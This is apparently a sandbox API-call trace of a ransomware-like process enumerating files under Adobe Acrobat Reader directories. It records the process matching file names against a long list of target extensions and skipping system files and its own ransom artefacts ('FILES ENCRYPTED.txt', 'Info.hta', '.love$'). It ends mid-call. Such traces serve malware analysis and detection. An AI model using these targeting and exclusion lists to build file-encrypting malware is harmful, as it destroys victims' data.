[0265.048] lstrlenW (lpString=".docx") returned 5 [0265.048] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.048] lstrlenW (lpString=".dot") returned 4 [0265.048] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.048] lstrlenW (lpString=".dotm") returned 5 [0265.048] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.048] lstrlenW (lpString=".dotx") returned 5 [0265.048] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.049] lstrlenW (lpString=".dpx") returned 4 [0265.049] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".dqy") returned 4 [0265.049] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".dsn") returned 4 [0265.049] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".dt") returned 3 [0265.049] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.049] lstrlenW (lpString=".dtd") returned 4 [0265.049] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".dwg") returned 4 [0265.049] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".dwt") returned 4 [0265.049] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".dx") returned 3 [0265.049] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.049] lstrlenW (lpString=".dxf") returned 4 [0265.049] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.049] lstrlenW (lpString=".edml") returned 5 [0265.049] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.050] lstrlenW (lpString=".efd") returned 4 [0265.050] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.050] lstrlenW (lpString=".elf") returned 4 [0265.050] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.050] lstrlenW (lpString=".emf") returned 4 [0265.050] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.050] lstrlenW (lpString=".emz") returned 4 [0265.050] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.050] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.050] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0265.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.051] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0265.051] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0265.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0265.051] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0265.051] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0265.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0265.052] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0265.052] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0265.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.054] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0265.055] lstrlenW (lpString="desktop.js") returned 10 [0265.055] lstrlenW (lpString=".1cd") returned 4 [0265.055] lstrcmpiW (lpString1=".1cd", lpString2="p.js") returned -1 [0265.055] lstrlenW (lpString=".3ds") returned 4 [0265.055] lstrcmpiW (lpString1=".3ds", lpString2="p.js") returned -1 [0265.055] lstrlenW (lpString=".3fr") returned 4 [0265.055] lstrcmpiW (lpString1=".3fr", lpString2="p.js") returned -1 [0265.055] lstrlenW (lpString=".3g2") returned 4 [0265.055] lstrcmpiW (lpString1=".3g2", lpString2="p.js") returned -1 [0265.055] lstrlenW (lpString=".3gp") returned 4 [0265.055] lstrcmpiW (lpString1=".3gp", lpString2="p.js") returned -1 [0265.055] lstrlenW (lpString=".7z") returned 3 [0265.055] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.055] lstrlenW (lpString=".accda") returned 6 [0265.055] lstrcmpiW (lpString1=".accda", lpString2="top.js") returned -1 [0265.055] lstrlenW (lpString=".accdb") returned 6 [0265.055] lstrcmpiW (lpString1=".accdb", lpString2="top.js") returned -1 [0265.055] lstrlenW (lpString=".accdc") returned 6 [0265.055] lstrcmpiW (lpString1=".accdc", lpString2="top.js") returned -1 [0265.055] lstrlenW (lpString=".accde") returned 6 [0265.055] lstrcmpiW (lpString1=".accde", lpString2="top.js") returned -1 [0265.056] lstrlenW (lpString=".accdt") returned 6 [0265.056] lstrcmpiW (lpString1=".accdt", lpString2="top.js") returned -1 [0265.056] lstrlenW (lpString=".accdw") returned 6 [0265.056] lstrcmpiW (lpString1=".accdw", lpString2="top.js") returned -1 [0265.056] lstrlenW (lpString=".adb") returned 4 [0265.056] lstrcmpiW (lpString1=".adb", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".adp") returned 4 [0265.056] lstrcmpiW (lpString1=".adp", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".ai") returned 3 [0265.056] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.056] lstrlenW (lpString=".ai3") returned 4 [0265.056] lstrcmpiW (lpString1=".ai3", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".ai4") returned 4 [0265.056] lstrcmpiW (lpString1=".ai4", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".ai5") returned 4 [0265.056] lstrcmpiW (lpString1=".ai5", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".ai6") returned 4 [0265.056] lstrcmpiW (lpString1=".ai6", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".ai7") returned 4 [0265.056] lstrcmpiW (lpString1=".ai7", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".ai8") returned 4 [0265.056] lstrcmpiW (lpString1=".ai8", lpString2="p.js") returned -1 [0265.056] lstrlenW (lpString=".anim") returned 5 [0265.056] lstrcmpiW (lpString1=".anim", lpString2="op.js") returned -1 [0265.057] lstrlenW (lpString=".arw") returned 4 [0265.057] lstrcmpiW (lpString1=".arw", lpString2="p.js") returned -1 [0265.057] lstrlenW (lpString=".as") returned 3 [0265.057] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.057] lstrlenW (lpString=".asa") returned 4 [0265.057] lstrcmpiW (lpString1=".asa", lpString2="p.js") returned -1 [0265.057] lstrlenW (lpString=".asc") returned 4 [0265.057] lstrcmpiW (lpString1=".asc", lpString2="p.js") returned -1 [0265.057] lstrlenW (lpString=".ascx") returned 5 [0265.057] lstrcmpiW (lpString1=".ascx", lpString2="op.js") returned -1 [0265.057] lstrlenW (lpString=".asm") returned 4 [0265.058] lstrcmpiW (lpString1=".asm", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".asmx") returned 5 [0265.058] lstrcmpiW (lpString1=".asmx", lpString2="op.js") returned -1 [0265.058] lstrlenW (lpString=".asp") returned 4 [0265.058] lstrcmpiW (lpString1=".asp", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".aspx") returned 5 [0265.058] lstrcmpiW (lpString1=".aspx", lpString2="op.js") returned -1 [0265.058] lstrlenW (lpString=".asr") returned 4 [0265.058] lstrcmpiW (lpString1=".asr", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".asx") returned 4 [0265.058] lstrcmpiW (lpString1=".asx", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".avi") returned 4 [0265.058] lstrcmpiW (lpString1=".avi", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".avs") returned 4 [0265.058] lstrcmpiW (lpString1=".avs", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".backup") returned 7 [0265.058] lstrcmpiW (lpString1=".backup", lpString2="ktop.js") returned -1 [0265.058] lstrlenW (lpString=".bak") returned 4 [0265.058] lstrcmpiW (lpString1=".bak", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".bay") returned 4 [0265.058] lstrcmpiW (lpString1=".bay", lpString2="p.js") returned -1 [0265.058] lstrlenW (lpString=".bd") returned 3 [0265.058] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.058] lstrlenW (lpString=".bin") returned 4 [0265.058] lstrcmpiW (lpString1=".bin", lpString2="p.js") returned -1 [0265.059] lstrlenW (lpString=".bmp") returned 4 [0265.059] lstrcmpiW (lpString1=".bmp", lpString2="p.js") returned -1 [0265.059] lstrlenW (lpString=".bz2") returned 4 [0265.059] lstrcmpiW (lpString1=".bz2", lpString2="p.js") returned -1 [0265.059] lstrlenW (lpString=".c") returned 2 [0265.059] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.059] lstrlenW (lpString=".cdr") returned 4 [0265.059] lstrcmpiW (lpString1=".cdr", lpString2="p.js") returned -1 [0265.059] lstrlenW (lpString=".cer") returned 4 [0265.059] lstrcmpiW (lpString1=".cer", lpString2="p.js") returned -1 [0265.059] lstrlenW (lpString=".cf") returned 3 [0265.059] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.059] lstrlenW (lpString=".cfc") returned 4 [0265.329] lstrcmpiW (lpString1=".cfc", lpString2="p.js") returned -1 [0265.329] lstrlenW (lpString=".cfm") returned 4 [0265.329] lstrcmpiW (lpString1=".cfm", lpString2="p.js") returned -1 [0265.329] lstrlenW (lpString=".cfml") returned 5 [0265.329] lstrcmpiW (lpString1=".cfml", lpString2="op.js") returned -1 [0265.329] lstrlenW (lpString=".cfu") returned 4 [0265.329] lstrcmpiW (lpString1=".cfu", lpString2="p.js") returned -1 [0265.329] lstrlenW (lpString=".chm") returned 4 [0265.329] lstrcmpiW (lpString1=".chm", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".cin") returned 4 [0265.330] lstrcmpiW (lpString1=".cin", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".class") returned 6 [0265.330] lstrcmpiW (lpString1=".class", lpString2="top.js") returned -1 [0265.330] lstrlenW (lpString=".clx") returned 4 [0265.330] lstrcmpiW (lpString1=".clx", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".config") returned 7 [0265.330] lstrcmpiW (lpString1=".config", lpString2="ktop.js") returned -1 [0265.330] lstrlenW (lpString=".cpp") returned 4 [0265.330] lstrcmpiW (lpString1=".cpp", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".cr2") returned 4 [0265.330] lstrcmpiW (lpString1=".cr2", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".crt") returned 4 [0265.330] lstrcmpiW (lpString1=".crt", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".crw") returned 4 [0265.330] lstrcmpiW (lpString1=".crw", lpString2="p.js") returned -1 [0265.330] lstrlenW (lpString=".cs") returned 3 [0265.330] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.331] lstrlenW (lpString=".css") returned 4 [0265.331] lstrcmpiW (lpString1=".css", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".csv") returned 4 [0265.331] lstrcmpiW (lpString1=".csv", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".cub") returned 4 [0265.331] lstrcmpiW (lpString1=".cub", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".dae") returned 4 [0265.331] lstrcmpiW (lpString1=".dae", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".dat") returned 4 [0265.331] lstrcmpiW (lpString1=".dat", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".db") returned 3 [0265.331] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.331] lstrlenW (lpString=".dbf") returned 4 [0265.331] lstrcmpiW (lpString1=".dbf", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".dbx") returned 4 [0265.331] lstrcmpiW (lpString1=".dbx", lpString2="p.js") returned -1 [0265.331] lstrlenW (lpString=".dc3") returned 4 [0265.331] lstrcmpiW (lpString1=".dc3", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".dcm") returned 4 [0265.332] lstrcmpiW (lpString1=".dcm", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".dcr") returned 4 [0265.332] lstrcmpiW (lpString1=".dcr", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".der") returned 4 [0265.332] lstrcmpiW (lpString1=".der", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".dib") returned 4 [0265.332] lstrcmpiW (lpString1=".dib", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".dic") returned 4 [0265.332] lstrcmpiW (lpString1=".dic", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".dif") returned 4 [0265.332] lstrcmpiW (lpString1=".dif", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".divx") returned 5 [0265.332] lstrcmpiW (lpString1=".divx", lpString2="op.js") returned -1 [0265.332] lstrlenW (lpString=".djvu") returned 5 [0265.332] lstrcmpiW (lpString1=".djvu", lpString2="op.js") returned -1 [0265.332] lstrlenW (lpString=".dng") returned 4 [0265.332] lstrcmpiW (lpString1=".dng", lpString2="p.js") returned -1 [0265.332] lstrlenW (lpString=".doc") returned 4 [0265.333] lstrcmpiW (lpString1=".doc", lpString2="p.js") returned -1 [0265.333] lstrlenW (lpString=".docm") returned 5 [0265.333] lstrcmpiW (lpString1=".docm", lpString2="op.js") returned -1 [0265.333] lstrlenW (lpString=".docx") returned 5 [0265.333] lstrcmpiW (lpString1=".docx", lpString2="op.js") returned -1 [0265.333] lstrlenW (lpString=".dot") returned 4 [0265.333] lstrcmpiW (lpString1=".dot", lpString2="p.js") returned -1 [0265.333] lstrlenW (lpString=".dotm") returned 5 [0265.333] lstrcmpiW (lpString1=".dotm", lpString2="op.js") returned -1 [0265.333] lstrlenW (lpString=".dotx") returned 5 [0265.333] lstrcmpiW (lpString1=".dotx", lpString2="op.js") returned -1 [0265.333] lstrlenW (lpString=".dpx") returned 4 [0265.333] lstrcmpiW (lpString1=".dpx", lpString2="p.js") returned -1 [0265.333] lstrlenW (lpString=".dqy") returned 4 [0265.333] lstrcmpiW (lpString1=".dqy", lpString2="p.js") returned -1 [0265.333] lstrlenW (lpString=".dsn") returned 4 [0265.333] lstrcmpiW (lpString1=".dsn", lpString2="p.js") returned -1 [0265.333] lstrlenW (lpString=".dt") returned 3 [0265.334] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.334] lstrlenW (lpString=".dtd") returned 4 [0265.334] lstrcmpiW (lpString1=".dtd", lpString2="p.js") returned -1 [0265.334] lstrlenW (lpString=".dwg") returned 4 [0265.334] lstrcmpiW (lpString1=".dwg", lpString2="p.js") returned -1 [0265.334] lstrlenW (lpString=".dwt") returned 4 [0265.334] lstrcmpiW (lpString1=".dwt", lpString2="p.js") returned -1 [0265.334] lstrlenW (lpString=".dx") returned 3 [0265.334] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.334] lstrlenW (lpString=".dxf") returned 4 [0265.334] lstrcmpiW (lpString1=".dxf", lpString2="p.js") returned -1 [0265.334] lstrlenW (lpString=".edml") returned 5 [0265.334] lstrcmpiW (lpString1=".edml", lpString2="op.js") returned -1 [0265.334] lstrlenW (lpString=".efd") returned 4 [0265.334] lstrcmpiW (lpString1=".efd", lpString2="p.js") returned -1 [0265.334] lstrlenW (lpString=".elf") returned 4 [0265.334] lstrcmpiW (lpString1=".elf", lpString2="p.js") returned -1 [0265.334] lstrlenW (lpString=".emf") returned 4 [0265.335] lstrcmpiW (lpString1=".emf", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".emz") returned 4 [0265.335] lstrcmpiW (lpString1=".emz", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".epf") returned 4 [0265.335] lstrcmpiW (lpString1=".epf", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".eps") returned 4 [0265.335] lstrcmpiW (lpString1=".eps", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".epsf") returned 5 [0265.335] lstrcmpiW (lpString1=".epsf", lpString2="op.js") returned -1 [0265.335] lstrlenW (lpString=".epsp") returned 5 [0265.335] lstrcmpiW (lpString1=".epsp", lpString2="op.js") returned -1 [0265.335] lstrlenW (lpString=".erf") returned 4 [0265.335] lstrcmpiW (lpString1=".erf", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".exr") returned 4 [0265.335] lstrcmpiW (lpString1=".exr", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".f4v") returned 4 [0265.335] lstrcmpiW (lpString1=".f4v", lpString2="p.js") returned -1 [0265.335] lstrlenW (lpString=".fido") returned 5 [0265.335] lstrcmpiW (lpString1=".fido", lpString2="op.js") returned -1 [0265.335] lstrlenW (lpString=".flm") returned 4 [0265.336] lstrcmpiW (lpString1=".flm", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".flv") returned 4 [0265.336] lstrcmpiW (lpString1=".flv", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".frm") returned 4 [0265.336] lstrcmpiW (lpString1=".frm", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".fxg") returned 4 [0265.336] lstrcmpiW (lpString1=".fxg", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".geo") returned 4 [0265.336] lstrcmpiW (lpString1=".geo", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".gif") returned 4 [0265.336] lstrcmpiW (lpString1=".gif", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".grs") returned 4 [0265.336] lstrcmpiW (lpString1=".grs", lpString2="p.js") returned -1 [0265.336] lstrlenW (lpString=".gz") returned 3 [0265.337] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.337] lstrlenW (lpString=".h") returned 2 [0265.337] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.337] lstrlenW (lpString=".hdr") returned 4 [0265.337] lstrcmpiW (lpString1=".hdr", lpString2="p.js") returned -1 [0265.337] lstrlenW (lpString=".hpp") returned 4 [0265.337] lstrcmpiW (lpString1=".hpp", lpString2="p.js") returned -1 [0265.337] lstrlenW (lpString=".hta") returned 4 [0265.337] lstrcmpiW (lpString1=".hta", lpString2="p.js") returned -1 [0265.337] lstrlenW (lpString=".htc") returned 4 [0265.337] lstrcmpiW (lpString1=".htc", lpString2="p.js") returned -1 [0265.337] lstrlenW (lpString=".htm") returned 4 [0265.338] lstrcmpiW (lpString1=".htm", lpString2="p.js") returned -1 [0265.338] lstrlenW (lpString=".html") returned 5 [0265.338] lstrcmpiW (lpString1=".html", lpString2="op.js") returned -1 [0265.338] lstrlenW (lpString=".icb") returned 4 [0265.338] lstrcmpiW (lpString1=".icb", lpString2="p.js") returned -1 [0265.338] lstrlenW (lpString=".ics") returned 4 [0265.338] lstrcmpiW (lpString1=".ics", lpString2="p.js") returned -1 [0265.338] lstrlenW (lpString=".iff") returned 4 [0265.338] lstrcmpiW (lpString1=".iff", lpString2="p.js") returned -1 [0265.338] lstrlenW (lpString=".inc") returned 4 [0265.338] lstrcmpiW (lpString1=".inc", lpString2="p.js") returned -1 [0265.338] lstrlenW (lpString=".indd") returned 5 [0265.338] lstrcmpiW (lpString1=".indd", lpString2="op.js") returned -1 [0265.338] lstrlenW (lpString=".ini") returned 4 [0265.338] lstrcmpiW (lpString1=".ini", lpString2="p.js") returned -1 [0265.338] lstrlenW (lpString=".iqy") returned 4 [0265.339] lstrcmpiW (lpString1=".iqy", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".j2c") returned 4 [0265.339] lstrcmpiW (lpString1=".j2c", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".j2k") returned 4 [0265.339] lstrcmpiW (lpString1=".j2k", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".java") returned 5 [0265.339] lstrcmpiW (lpString1=".java", lpString2="op.js") returned -1 [0265.339] lstrlenW (lpString=".jp2") returned 4 [0265.339] lstrcmpiW (lpString1=".jp2", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".jpc") returned 4 [0265.339] lstrcmpiW (lpString1=".jpc", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".jpe") returned 4 [0265.339] lstrcmpiW (lpString1=".jpe", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".jpeg") returned 5 [0265.339] lstrcmpiW (lpString1=".jpeg", lpString2="op.js") returned -1 [0265.339] lstrlenW (lpString=".jpf") returned 4 [0265.339] lstrcmpiW (lpString1=".jpf", lpString2="p.js") returned -1 [0265.339] lstrlenW (lpString=".jpg") returned 4 [0265.340] lstrcmpiW (lpString1=".jpg", lpString2="p.js") returned -1 [0265.340] lstrlenW (lpString=".jpx") returned 4 [0265.340] lstrcmpiW (lpString1=".jpx", lpString2="p.js") returned -1 [0265.340] lstrlenW (lpString=".js") returned 3 [0265.340] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.340] lstrlenW (lpString="desktop.js") returned 10 [0265.340] lstrlenW (lpString=".love$") returned 6 [0265.340] lstrcmpiW (lpString1=".love$", lpString2="top.js") returned -1 [0265.340] lstrlenW (lpString="desktop.js") returned 10 [0265.340] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.js") returned -1 [0265.340] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.js") returned -1 [0265.340] lstrcmpiW (lpString1="ntldr", lpString2="desktop.js") returned 1 [0265.340] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.js") returned 1 [0265.340] lstrcmpiW (lpString1="io.sys", lpString2="desktop.js") returned 1 [0265.340] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.js") returned 1 [0265.341] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.js") returned 1 [0265.341] lstrcmpiW (lpString1="finbbp.exe", lpString2="desktop.js") returned 1 [0265.341] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js") returned 97 [0265.341] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0265.341] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files") returned 92 [0265.341] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files") returned 1 [0265.341] lstrlenW (lpString="files") returned 5 [0265.341] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="files") returned -1 [0265.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42c0fd8 [0265.342] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files") returned 92 [0265.343] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0265.343] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0265.343] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0265.343] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev") returned 96 [0265.343] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev") returned 1 [0265.343] lstrlenW (lpString="dev") returned 3 [0265.343] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0265.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0265.344] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev") returned 96 [0265.344] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\*", lpFindFileData=0x2e8e420 | out: 